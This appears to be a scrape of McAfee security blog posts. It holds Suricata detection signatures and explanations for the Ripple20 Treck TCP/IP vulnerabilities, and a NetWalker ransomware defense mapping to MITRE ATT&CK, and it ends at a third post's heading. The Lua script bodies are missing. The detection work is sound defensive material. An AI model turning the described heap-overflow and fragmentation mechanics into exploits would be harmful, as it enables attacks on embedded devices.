      • For DNS over UDP with EDNS(0), the size should not exceed the value negotiated in the request, which is specified in the CLASS field of the OPT RR, if present.
      • For DNS over UDP without EDNS(0), the size should not exceed 512 bytes.
      • These are all checked in dns_invalid_size.rules, which invokes either dns_size.lua or dns_tcp_size.lua for the logic.
  • The device should flag DNS responses containing DNS names exceeding 255 bytes (prior to decompression).
      • This is checked in dns_invalid_name.rules, which invokes dns_invalid_name.lua for the logic.
  • The device should flag DNS responses containing DNS names comprised of characters besides a-z, A-Z, 0-9, “-”, “_”, and “*”.
      • This is also checked in dns_invalid_name.rules, which invokes dns_invalid_name.lua for the logic.
  • The device should flag DNS responses containing a large number of DNS compression pointers, particularly pointers one after the other. The specific tolerance will depend on the network.
      • The device should count all labels starting with the bits 0b10, 0b01, or 0b11 against this pointer total, as vulnerable versions of the Treck stack (incorrectly) classify all labels where the first two bits aren’t 0b00 as compression pointers. In the Lua script, we treat any value above 63 (0x3F) as a pointer for this reason, as any value in that range will have at least one of these bits set.
      • The specific thresholds were set to 40 total pointers in a single DNS packet or 4 consecutive pointers for our implementation of this rule. These values were chosen since they did not seem to trigger any false positives in a very large test PCAP but should be altered as needed to suit typical traffic for the network the rule will be deployed on. The test for consecutive pointers is especially useful since each domain name should only ever have one pointer (at the very end), meaning we should never be seeing many pointers in a row in normal traffic.
      • This is implemented in dns_heap_overflow_variant_1.lua, which is invoked by dns_heap_overflow.rules.
  • Implementation of the detection logic above has been split up amongst several Suricata rule files since only the pointer counting logic is specific to this vulnerability. Detection of exploits leveraging this vulnerability are enhanced with the addition of the DNS layer size check, domain name compressed length check, and domain name character check implemented in the other rules, but these are considered to be “helper” signatures and flagging one of these does not necessarily indicate an exploitation attempt for this specific vulnerability.

False positive conditions (signatures detecting non-malicious traffic):
Networks expecting non-malicious traffic containing DNS names using non-alphanumeric characters or an abnormally large number of DNS compression pointers may generate false positives. Unfortunately, checking for pointers in only the domain name fields is insufficient, as a malicious packet could use a compression pointer that points to an arbitrary offset within said packet, so our rule instead checks every byte of the DNS layer. Consequently, Treck’s overly liberal classification of DNS compression pointers means that our rule will often misclassify unrelated bytes in the DNS payload as pointers.

In our testing, we ran into false positives with domain names containing spaces or things like “https://”. Per the RFCs, characters such as “:” and “/” should not be present in domain names but may show up from time to time in real, non-malicious traffic. The list of acceptable characters should be expanded as needed for the targeted network to avoid excessive false positives. That being said, keeping the list of acceptable characters as small as possible will make it more difficult to sneak in shellcode to leverage one of the Ripple20 DNS vulnerabilities.

False positives on the DNS size rules may occur when DNS over TCP is used if Suricata does not properly classify the packet as a DNS packet – something that has occurred multiple times during our testing. This would cause the second size check to occur, which assumes that all traffic over port 53 is DNS traffic and processes the payload accordingly. As a result, any non-DNS traffic on TCP port 53 may cause false positives in this specific case. It is recommended the port number in the rule be adjusted for any network where a different protocol is expected over port 53.

Fragmentation of DNS traffic over TCP may also introduce false positives. If the streams are not properly reconstructed at the time the rules execute on the DNS payload, byte offsets utilized in the attached Lua scripts could analyze incorrect data. Fragmentation in DNS response packets is not common on a standard network unless MTU values have been set particularly low. Each rule should be evaluated independently prior to use in production based on specific network requirements and conditions.

False negative conditions (signatures failing to detect vulnerability/exploitation):
False negatives are more likely as this detection logic relies on heuristics due to computation of the uncompressed DNS name length being too computationally expensive. Carefully constructed malicious packets may be able to circumvent the suggested pointer limitations and still trigger the vulnerability.

Signature(s):
dns_invalid_size.rules:

alert dns any any ‑> any any (msg:"DNS packet too large"; flow:to_client; flowbits:set,flagged; lua:dns_size.lua; sid:2020119014; rev:1;)
Lua script (dns_size.lua) can be found in Appendix A

alert tcp any 53 -> any any (msg:"DNS over TCP packet too large"; flow:to_client,no_frag; flowbits:isnotset,flagged; lua:dns_tcp_size.lua; sid:2020119015; rev:1;)
Lua script (dns_tcp_size.lua) can be found in Appendix A

dns_invalid_name.rules:

alert dns any any -> any any (flow:to_client; msg:"DNS response contains invalid domain name"; lua:dns_invalid_name.lua; sid:2020119013; rev:1;)
Lua script (dns_invalid_name.lua) can be found in Appendix A

dns_heap_overflow.rules:

# Variant 1
alert dns any any -> any any (flow:to_client; msg:"Potential DNS heap overflow exploit (CVE-2020-11901)"; lua:dns_heap_overflow_variant_1.lua; sid:2020119011; rev:1;)
Lua script (dns_heap_overflow_variant_1.lua) can be found in Appendix A

RDATA Length Mismatch in DNS CNAME Records Causes Heap Overflow

CVE: CVE-2020-11901 (Variant 2)
CVSS: 9
Protocol(s): DNS/UDP (and likely DNS/TCP)
Port(s): 53

Vulnerability description:
In some versions of the Treck stack, a vulnerability exists in the way the stack processes DNS responses containing CNAME records. In such records, the length of the buffer allocated to store the DNS name is taken from the RDLENGTH field, while the data written is the full, decompressed domain name, terminating only at a null byte. As a result, if the size of the decompressed domain name specified in RDATA exceeds the provided RDLENGTH in a CNAME record, the excess is written past the end of the allocated buffer, resulting in a heap overflow and potential RCE.

Limitations or special considerations for detection:
Although exploitation of this vulnerability has been confirmed using malicious DNS over UDP packets, it has not been tested using DNS over TCP and it is unclear if such packets would exercise the same vulnerable code path. Until this can be confirmed, detection logic should assume both vectors are vulnerable.

Recommended detection criteria:

  • The device must be capable of processing incoming DNS responses.
  • The device must be capable of identifying CNAME records within DNS responses
  • The device should flag all DNS responses where the actual size of the RDATA field for a CNAME record exceeds the value specified in the same record’s RDLENGTH field.
      • In this case, the “actual size” corresponds to how vulnerable versions of the Treck stack compute the RDATA length, which involves adding up the size of every label until either null byte, a DNS compression pointer, or the end of the payload is encountered. The Treck stack will follow and decompress the pointer that terminates the domain name, if present, but the script does not as this computation is simply too expensive, as mentioned previously.

False positive conditions (signatures detecting non-malicious traffic):
False positives should be unlikely, but possible in scenarios where network devices send non-malicious traffic where RDLENGTH is not equal to the size of RDATA, thereby breaking RFC 1035.

False negative conditions (signatures failing to detect vulnerability/exploitation):
Since the detection logic does not perform decompression when computing the “actual size” of RDATA, it will fail to detect malicious packets that contain domain names whose length only exceeds RDLENGTH after decompression. Unfortunately, coverage for this case is non-trivial as such packets are actually RFC-compliant. According to RFC 1035, section 4.1.4:

If a domain name is contained in a part of the message subject to a length field (such as the RDATA section of an RR), and compression is used, the length of the compressed name is used in the length calculation, rather than the length of the expanded name.

Besides the computational overhead, enforcing such a check would likely result in very high false positive rates.

Signature(s):
dns_heap_overflow.rules:

# Variant 2
alert dns any any -> any any (flow:to_client; msg:"Potential DNS heap overflow exploit (CVE-2020-11901)"; lua:dns_heap_overflow_variant_2.lua; sid:2020119012; rev:1;)
Lua script (dns_heap_overflow_variant_2.lua) can be found in Appendix A

Write Out-of-Bounds Using Routing Header Type 0

CVE: CVE-2020-11897
CVSS: 10
Protocol(s): IPv6
Port(s): N/A

Vulnerability description:
When processing IPv6 incoming packets, an inconsistency parsing the IPv6 routing header can be triggered where the header length is checked against the total packet and not against the fragment length. This means that if we send fragmented packets with the overall size greater than or equal to the specified routing header length, then we process the routing header under the assumption that we have enough bytes in our current fragment (where we have enough bytes in the overall reassembled packet only). Thus, using routing header type 0 (RH0) we can force read and write into out-of-bounds memory location.

There is also a secondary side effect where we can get an info leak in a source IPv6 address in an ICMP parameter returned from the device.

Limitations or special considerations for detection:
The RFC for RH0 defines the length field as equal to “two times the number of addresses in the header.”  For example, if the routing header length is six, then there are three IPv6 addresses expected in the header. Upon reconstruction of the fragmented packets, the reported number of addresses is filled with data from the fragments that follow. This creates “invalid” IPv6 addresses in the header and potentially malforms the next layer of the packet. During exploitation, it would also be likely for the next layer of the packet to be malformed. Although ICMP can be used to perform an information leak, it is possible for the next layer to be any type and therefore vary in length. Verification of the length of this layer could therefore be very expensive and non-deterministic.

Recommended detection criteria:

  • The device must be capable of processing fragmented IPv6 traffic
  • The device should inspect fragmented packets containing Routing Header type 0 (RH0). If a RH0 IPv6 packet is fragmented, then the vulnerability is likely being exploited
  • If the length of the IPv6 layer of a packet fragment containing the RH0 header is less than the length reported in the routing header, then the vulnerability is likely being exploited
  • Upon reconstruction of the fragmented packets, if the header of the layer following IPv6 is malformed, the vulnerability may be being exploited

Notes:
The routing header type 0 was deprecated in IPv6 traffic in RFC 5095 as of December 2007. As a result, it may be feasible simply to detect packets using this criterion. False positives may be possible in this scenario for legacy devices or platforms. Suricata already provides a default rule for this scenario which has been added below. According to the RFC, routers are not supposed to fragment IPv6 packets and must support an MTU of 1280, which would always contain all of the RH0 header, unless an unusual amount of header extensions or an unusually large header is used. If this is followed, then a packet using the RH0 header should never be fragmented across the RH0 extension header bounds and any RH0 packet fragmented in this manner should be treated as potentially malicious. Treating any fragmented RH0 packet as potentially malicious may be sufficient. Furthermore, treating any fragmented RH0 packet with fragments size below a threshold as well as IPv6 packets with multiple extension headers or an unusually large header above a threshold may provide high accuracy detection.

False positive conditions (signatures detecting non-malicious traffic):
If all detection criteria outlined above are used, false positives should be minimal since the reported length of a packet should match its actual length and the next header should never contain malformed data.  If only routing header type 0 is checked, false positives are more likely to occur.  In the additional provided rule, false positives should be minimal since RH0 is deprecated and the ICMP header should never have invalid checksums or unknown codes.

False negative conditions (signatures failing to detect vulnerability/exploitation):
False negatives may occur if the signature is developed overly specific to the layer following IPv6, for example, ICMP.  An attacker could potentially leverage another layer and still exploit the vulnerability without the information leak; however, this would still trigger the default RH0 rule. In the second rule below, false negatives are likely to occur if:

  • An attacker uses a non-ICMP layer following the IPv6 layer
  • A valid ICMP code is used
  • The checksum is valid, and the payload is less than or equal to 5 bytes (this value can be tuned in the signature)

Signature(s):
Ipv6_rh0.rules:

alert ipv6 any any -> any any (msg:"SURICATA RH Type 0"; decode-event:ipv6.rh_type_0; classtype:protocol-command-decode; sid:2200093; rev:2;)

alert ipv6 any any -> any any (msg:"IPv6 RH0 Treck CVE-2020-11897"; decode-event:ipv6.rh_type_0; decode-event:icmpv6.unknown_code; icmpv6-csum:invalid; dsize:>5; sid:2020118971; rev:1;)

IPv4/UDP Tunneling Remote Code Execution

CVE: CVE-2020-11896
CVSS: 10.0
Protocol(s): IPv4/UDP
Port(s): Any

Vulnerability description:
The Treck TCP/IP stack does not properly handle incoming IPv4-in-IPv4 packets with fragmented payload data. This could lead to remote code execution when sending multiple specially crafted tunneled UDP packets to a vulnerable host.

The vulnerability is a result of an incorrect trimming operation when the advertised total IP length (in the packet header) is strictly less than the data available. When sending tunneled IPv4 packets using multiple fragments with a small total IP length value, the TCP/IP stack would execute the trimming operation. This leads to a heap overflow situation when the packet is copied to a destination packet allocated based on the smaller length. When the tunneled IPv4 packets are UDP packets sent to a listening port, there’s a possibility to trigger this exploit if the UDP receive queue is non-empty. This can result in an exploitable heap overflow situation, leading to remote code execution in the context in which the Treck TCP/IP stack runs.

Recommended detection criteria:
In order to detect an ongoing attack, the following conditions should be met if encapsulation can be unpacked:

  • The UDP receive queue must be non-empty
  • Incoming UDP packets must be fragmented
      • Flag MF = 1 with any offset, or
      • Flag MF = 0 with non-zero offset
  • Fragmented packets must have encapsulated IPv4 packet (upon assembly)
    protocol = 0x4 (IPIP)
  • Encapsulated IPv4 packet must be split across 2 packet fragments.
  • Reassembled (inner-most) IPv4 packet has incorrect data length stored in IP header.

The fourth condition above is required to activate the code-path which is vulnerable, as it spreads the data to be copied across multiple in-memory buffers. The final detection step is the source of the buffer overflow, as such, triggering on this may be sufficient.

Depending on the limitations of the network inspection device in question, a looser condition could be used, though it may be more prone to false positives.

In order to detect an ongoing attack if encapsulation cannot be unpacked:

  • The UDP receive queue must be non-empty
  • Incoming UDP packets must be fragmented
      • Flag MF = 1 with any value in offset field, or
      • Flag MF = 0 with any non-zero value in offset field
  • Final fragment has total fragment length longer than offset field.

The final condition shown above is not something that should be seen in a normal network.

Fragmentation, when it occurs, is the result of data overflowing the MTU of a given packet type. This indicates the final fragment should be no larger than any other fragment – and in practice would likely be smaller. The inverse, where the final fragment is somehow larger than previous fragments, indicates that the fragmentation is not the result of MTU overflow, but instead something else. In this case, malicious intent.

As network monitors in common usage are likely to have the ability to unpack encapsulation, only that ruleset is provided.

Limitations or special considerations for detection:
The Treck stack supports (at least) two levels of tunneling. Each tunnel level can be IPv4-in-IPv4, IPv6-in-IPv4, or IPv4-in-IPv6. The above logic is specific to the IPv4-in-IPv4, single level of tunneling case. In cases of deeper nesting, either a recursive check or a full unwrapping of all tunneling layers will be necessary.

False positive conditions (signatures detecting non-malicious traffic):
False positives should be minimal if all detection criteria outlined above are used in the case where the tunneling can be unpacked. In the case where tunneling cannot be unpacked, this is unlikely to trigger many false positives in the presence of standards compliant applications. Fragmentation as seen here is simply not common.

False negative conditions (signatures failing to detect vulnerability/exploitation):
False negatives could occur with deeper levels of nesting, or nesting of IPv6.

Signature(s):
ipv4_tunneling.rules:

alert ip any any -> any any (msg:"IPv4 TUNNELING EXPLOIT (CVE‑2020‑11896)"; ip_proto:4; lua:tunnel_length_check.lua; sid:2020118961; rev:1;)
Lua script (tunnel_length_check.Lua) can be found in Appendix A

Appendix A

Appendix A contains Lua scripts that are required for usage with corresponding Suricata signatures. These scripts are also located on McAfee ATR’s GitHub.

dns_tcp_size.lua: 

dns_size.lua: 

dns_invalid_name.lua:


dns_heap_overflow_variant_1.lua:

dns_heap_overflow_variant_2.lua:

tunnel_length_check.lua:

The post Ripple20 Critical Vulnerabilities – Detection Logic and Signatures appeared first on McAfee Blogs.

McAfee Defender’s Blog: NetWalker

Building Adaptable Security Architecture Against NetWalker

NetWalker Overview

The NetWalker ransomware, initially known as Mailto, was first detected in August 2019. Since then, new variants were discovered throughout 2019 and the beginning of 2020, with a strong uptick noticed in March of this year. NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and McAfee research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates. McAfee Advanced Threat Research (ATR) discovered a large sum of bitcoins linked to NetWalker which suggest its extortion efforts are effective and that many victims have had no option other than to succumb to its criminal demands. For more details on NetWalker, see the McAfee ATR blog here.

We do not want you to be one of those victims, so this blog is focused on how to build an adaptable security architecture to defeat this threat and, specifically, how McAfee’s portfolio delivers the capability to prevent, detect and respond to NetWalker ransomware.

Gathering Intelligence on NetWalker

As always, building adaptable defensive architecture starts with intelligence. In most organizations, the Security Operations team is responsible for threat intelligence analysis, as well as threat and incident response. The Preview of McAfee MVISION Insights is a sneak peek of some of MVISION Insights capabilities for the threat intel analyst and threat responder. The preview identifies the prevalence and severity of select top emerging threats across the globe which enables the Security Operations Center (SOC) to prioritize threat response actions and gather relevant cyber threat intelligence (CTI) associated with the threat, in this case NetWalker ransomware. The CTI is provided in the form of technical Indicators of Compromise (IOCs) as well as MITRE ATT&CK framework tactics and techniques.

As a threat intel analyst or responder, you can drill down to gather more specific information on NetWalker, such as prevalence and links to other sources of information.

As a threat intel analyst or responder, you can further drill down to gather more specific actionable intelligence on NetWalker, such as indicators of compromise and tactics/techniques aligned to the MITRE ATT&CK framework.

From MVISION Insights preview, you can see that NetWalker leverages tactics and techniques common to other ransomware attacks, such as spear phishing attachments for Initial Access, use of PowerShell for deployment, modification of Registry Keys/Startup folder for persistence and encryption of files for impact of course.

Defensive Architecture Overview

Today’s digital enterprise is a hybrid environment of on-premise systems and cloud services with multiple entry points for attacks like NetWalker. The work from home operating model forced by COVID-19 has only expanded the attack surface and increased the risk for successful ransomware attack if organizations did not adapt their security posture. Mitigating the risk of attacks like NetWalker requires a security architecture with the right controls at the device, on the network and in security operations (sec ops). The Center for Internet Security (CIS) Top 20 Cyber Security Controls provides a good guide to build that architecture. For ransomware, and NetWalker in particular, the controls must be layered throughout the enterprise. The following outlines the key security controls needed at each layer of the architecture to protect your enterprise against ransomware.

To assess your capability against NetWalker, you must match your existing controls against the attack stages we learned from the Preview of MVISION Insights. For detailed analysis on the NetWalker ransomware attack, see McAfee ATR’s blog but, for simplicity, we matched the attack stages to the MITRE ATT&CK Framework below.

Initial Access Stage Defensive Overview

According to Threat Intelligence and Research, the initial access is performed either through vulnerability exploitation or spear phishing attachments. The following chart summarizes the controls expected to have the most effect against initial stage techniques and the McAfee solutions to implement those controls where possible.

MITRE Tactic MITRE Techniques CSC Controls McAfee Capability
Initial Access Exploit Public-Facing Applications (T1190)

Tomcat, Web Logic

CSC 2 Inventory of Software Assets

CSC 3 Continuous Vulnerability Assessment

CSC 5 Secure Configuration of hardware and software

CSC 9 Limitation of Network Ports and Protocols

CSC 12 Boundary Defense

CSC 18 Application Software Security

Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC)

Network Security Platform (NSP)

Initial Access Spear Phishing Attachments (T1566.001) CSC 7 – Email and Web Browser Protection

CSC 8 – Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection,

Web Gateway (MWG), Advanced Threat Defense, Web Gateway Cloud Service (WGCS)

Initial Access Valid Accounts (T1078) RDP Compromised CSC 5 Secure Configuration of hardware and software

CSC 9 Limitation of Network Ports and Protocols

CSC 12 Boundary Defense

Endpoint Security Platform 10.7, Threat Prevention

As attackers can quickly change spear phishing attachments, it is important to have adaptable defenses that include user awareness training and response procedures, behavior-based malware defenses on email systems, web access and endpoint systems, and finally sec ops playbooks for early detection and response against suspicious email attachments or other phishing techniques. For more information on how McAfee can protect against suspicious email attachments, review this additional blog post.

Using valid accounts and protocols, such as for Remote Desktop Protocol, is an attack technique we have seen rise during the initial COVID-19 period. To further understand how McAfee defends against RDP as an initial access vector, as well as how the attackers are using it to deploy ransomware, please see our previous posts.

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rdp-security-explained/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/cybercriminals-actively-exploiting-rdp-to-target-remote-organizations/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/

Exploitation Stage Defensive Overview

The exploitation stage is where the attacker gains access to the target system. Protection at this stage is heavily dependent on system vulnerability management, adaptable anti-malware on both end user devices and servers and security operations tools like endpoint detection and response sensors.

McAfee Endpoint Security 10.7 provides a defense in depth capability including signatures and threat intelligence to cover known bad indicators or programs.

Additionally, machine-learning and behavior-based protection reduces the attack surface against NetWalker and detects new exploitation attack techniques.

For more information on how McAfee Endpoint Security 10.7 can prevent or identify the techniques used in NetWalker, review these additional blog posts.

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ens-10-7-rolls-back-the-curtain-on-ransomware/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-amsi-integration-protects-against-malicious-scripts/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/how-to-use-mcafee-atp-to-protect-against-emotet-lemonduck-and-powerminer/

The following chart summarizes the critical security controls expected to have the most effect against exploitation stage techniques and the McAfee solutions to implement those controls where possible.

MITRE Tactic MITRE Techniques CSC Controls McAfee Portfolio Mitigation
Execution PowerShell (T1059.001) PowerShell Script CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR
Execution Service Execution (T1569.002) PS Exec CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR
Execution Command and Scripting Interpreter (T1059.003)

Windows Command Shell

CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR
Execution Native API (T1106) Use Windows API functions to inject DLL CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR
Execution Windows Management Instrumentation ((T1047) CSC 4 Controlled Use of Admin Privileges

CSC 5 Secure Configuration

CSC 9 Limitation of Network Ports and Protocols

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR
Persistence Registry Key – Place Value on Run Once Key (T1060) CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7 Threat Prevention
Persistence Modify Registry key – Create own key (T1112) CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7 Threat Prevention
Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2020-0796 CSC 3 Vulnerability Management

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Network Security Platform (CVE-2020-0796)
Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2019-1458 CSC 3 Vulnerability Management

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Network Security Platform (CVE-2019-1458); Endpoint Security Platform 10.7 (CVE-2019-1458) Threat Prevention, Application Control (MAC)
Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2017-0213 CSC 3 Vulnerability Management

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Network Security Platform (CVE-2017-0213); Endpoint Security Platform 10.7 (CVE-2017-0213) Threat Prevention, Application Control (MAC)
Privilege Escalation Exploitation for Privilege Exploitation ((T1068) CVE-2015-1701 CSC 3 Vulnerability Management

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Network Security Platform (CVE-2015-1701); Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC)
Privilege Escalation Process Injection: Reflective DLL (T1055) CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR
Defensive Evasion Disabling Security Tools (T1562.001) ESET, Trend Micro, MS CSC 5 Secure Configuration

CSC 8 Malware Defenses

Defensive Evasion Process Injection: Reflective DLL (T1055) CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR
Defensive Evasion Deobfuscate/Decode Files or Information (T1140)

 

CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR
Defensive Evasion Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption

 

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR
Credential Access Credential Dumping (T1003) Mimikatz, Mimidogz, Mimikittenz, Pwdump, LaZagne, Windows Credentials CSC 4 Controlled Use of Admin Privileges

CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, Application Control (MAC), MVISION EDR
Credential Access Brute Force (T1110) NL Brute CSC 4 Controlled use of admin privileges

CSC 16 Account Monitoring

Enterprise Security Manager – Log Analysis

 

Impact Stage Defensive Overview

The impact stage is where the attacker encrypts the target system, data and perhaps moves laterally to other systems on the network. Protection at this stage is heavily dependent on adaptable anti-malware on both end user devices and servers, network controls and security operation’s capability to monitor logs for anomalies in privileged access or network traffic. The following chart summarizes the controls expected to have the most effect against impact stage techniques and the McAfee solutions to implement those controls where possible.

MITRE Tactic MITRE Techniques CSC Controls McAfee Portfolio Mitigation
Discovery Network Service Scanning (T1046)

Network Scanner

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Endpoint Security Platform 10.7, Threat Prevention, Application Control (MAC), Network Security Platform
Lateral Movement Third Party Software (T1072)

TeamViewer, Anydesk

CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Endpoint Security Platform 10.7, Threat Prevention, Network Security Platform
Lateral Movement Service Execution (T1035) PS Exec CSC 5 Secure Configuration

CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR
Collection Data from Information Repositories (T1213) CSC 4 Control Admin Privileges

CSC 5 Secure Configuration

CSC 6 Log Analysis

Enterprise Security Manger – Log Collection and Analysis
Collection Data from local system (T1005) CSC 4 Control Admin Privileges

CSC 5 Secure Configuration

CSC 6 Log Analysis

Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR
Collection Data from network shared drive (T1039) CSC 4 Control Admin Privileges

CSC 5 Secure Configuration

CSC 6 Log Analysis

Endpoint Security Platform 10.7, Threat Prevention, MVISION EDR
Command and Control Ingress Tool Transfer (T1105) CSC 8 Malware Defenses

CSC 12 Boundary Defenses

Web Gateway, Network Security Platform
Impact Data Encrypted (T1486) Netwalker Ransomeware CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR, Web Gateway
Impact Inhibit System Recovery (T1490) Shadow CSC 5 Secure Configuration

CSC 8 Malware Defenses

Endpoint Security Platform 10.7, Threat Prevention, Adaptive Threat Protection, MVISION EDR, Web Gateway

 

Hunting for NetWalker Indicators

As a threat intel analyst or hunter, you might want to quickly scan your systems for any of NetWalker indicators. Of course, you can do that manually by downloading a list of indicators and searching with available tools. However, if you have MVISION EDR, you will be able to that search right from Insights, saving precious time. Hunting the attacker can be a game of inches so every second counts. Of course, if you found infected systems or systems with indicators, you can take action to contain and start an investigation for incident response immediately from the MVISION EDR console.

Proactively Detecting NetWalker Techniques

Many of the exploit stage techniques in this attack use legitimate Windows tools or valid accounts to either exploit, avoid detection or move laterally. These techniques are not easily prevented but can be detected using MVISION EDR. As security analysts, we want to focus on suspicious techniques, such as PowerShell, used to download files…

or execute scripts…

or evade defenses…

Monitoring or Reporting on NetWalker Events

Events from McAfee Endpoint Protection and Web Gateway play a key role in NetWalker incident and threat response. McAfee ePO centralizes event collection from all managed endpoint systems. As a threat responder, you may want to create a dashboard for NetWalker-related threat events to understand current exposure. Here is a list (not exhaustive) of NetWalker-related threat events as reported by Endpoint Protection Platform Threat Prevention Module and McAfee Web Gateway.

McAfee Endpoint Threat Prevention Events
Ransom-NetW!AB8D59ABA3DC GenericRXKU-HO!E33E060DA1A5 PS/Netwalker.a Ransom-NetW!1B6A2BFA39BC
Artemis!2F96F8098A29 GenericRXKD-DA!645C720FF0EB GenericRXKD-DA!4E59FBA21C5E Ransom-NetW!A9E395E478D0
Ransom-NetW!A0BC1AFED896 PS/Netwalker.c Artemis!F5C877335920 GenericRXKD-DA!B862EBC24355
Artemis!2F96F8098A29 GenericRXKD-DA!63EB7712D7C9 RDN/Ransom GenericRXKD-DA!F0CC568491CD
Artemis!0FF0D5085F7E GenericRXKD-DA!9172586C2F87 RDN/Generic.dx Ransom-NetW!BFF6F7B3A7DB
Ransom-NetW!7B77B436360A GenericRXKD-DA!BC75859695F6 GenericRXKD-DA!FCEDEA8111AB GenericRXKD-DA!5ABF6ED342FD
PS/Netwalker.d GenericRXKD-DA!C0DDA75C6EAE GenericRXKD-DA!ADDC865F6169 GenericRXKD-DA!DBDD7A1F53AA
Artemis!1527DAF8626C GenericRXKD-DA!608AC26EA80C Ransom-NetW!3A601EE68000 GenericRXKD-DA!8102821249E1
Ransom-NetW!2E2F5FE8ABA4 GenericRXKD-DA!F957F19CD9D7 GenericRXKD-DA!3F3CC36F4298 GenericRXKD-DA!9001DFA8D69D
PS/Agent.bu GenericRXKD-DA!5F55AC3DD189 GenericRXKD-DA!18C32583A6FE GenericRXKD-DA!01F703234047
Ransom-NetW!62C71449FBAA GenericRXKD-DA!6A64553DA499 GenericRXKD-DA!0CBA10DF0C89 Artemis!50C6B1B805EC
PS/Netwalker.b GenericRXKD-DA!59B00F607A75 Artemis!BC96C744BD66 GenericRXKD-DA!DE0B8566636D
Ransom-NetW!8E310318B1B5 GenericRXKD-DA!0537D845BA09 GenericRXKU-HO!DE61B852CADA GenericRXKD-DA!B4F8572D4500
PS/Netwalker.c GenericRXKD-DA!D09CFDA29F17 PS/Agent.bx GenericRXKD-DA!0FF5949ED496
GenericRXKD-DA!2B0384BE06D2 GenericRXKD-DA!5CE75526A25C GenericRXKD-DA!BDC345B7BCEC Ransom-CWall!993B73D6490B
GenericRXKD-DA!0E611C6FA27A GenericRXKU-HO!961942A472C2 Ransom-NetW!291E1CE9CD3E Ransom-Mailto!D60D91C24570
PS/Agent.bu GenericRXKU-HO!997F0EC7FCFA PS/Agent.bx Ransom-CWall!3D6203DF53FC
Ransom-Netwalker Ransom-NetW!BDE3EC20E9F8 Generic .kk
GenericRXKU-HO!1DB8C7DEA2F7 GenericRXKD-DA!DD4F9213BA67 GenericRXKD-DA!729928E6FD6A
GenericRXKU-HO!9FB87AC9C00E GenericRXKU-HO!187417F65AFB PS/Netwalker.b

 

McAfee Web Gateway Events
RDN/Ransom BehavesLike.Win32.RansomCWall.mh
BehavesLike.Win32.Generic.kh Ransom-NetW!1B6A2BFA39BC
BehavesLike.Win32.MultiPlug.kh Ransom:Win32/NetWalker.H!rsm
BehavesLike.Win32.Generic.qh BehavesLike.Win32.Trojan.kh
GenericRXKD-DA!DD4F9213BA67 BehavesLike.Win32.Ipamor.kh
BehavesLike.Win64.Trojan.nh BehavesLike.Win32.Generic.cz
RDN/Generic.dx BehavesLike.Win32.RansomCWall.mm
BehavesLike.Win64.BadFile.nh BehavesLike.Win32.Generic.dm

 

Summary

Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom. However, just as attackers work together, defenders must collaborate internally and externally to build an adaptive security architecture which will make it harder for threat actors to succeed and build resilience in the business. This blog highlights how to use McAfee’s security solutions to prevent, detect and respond to NetWalker and attackers using similar techniques.

McAfee ATR is actively monitoring ransomware threats and will continue to update McAfee MVISION Insights and its social networking channels with new and current information. Want to stay ahead of the adversaries? Check out McAfee MVISION Insights for more information.

The post McAfee Defender’s Blog: NetWalker appeared first on McAfee Blogs.

Take a “NetWalk” on the Wild Side

Executive Summary

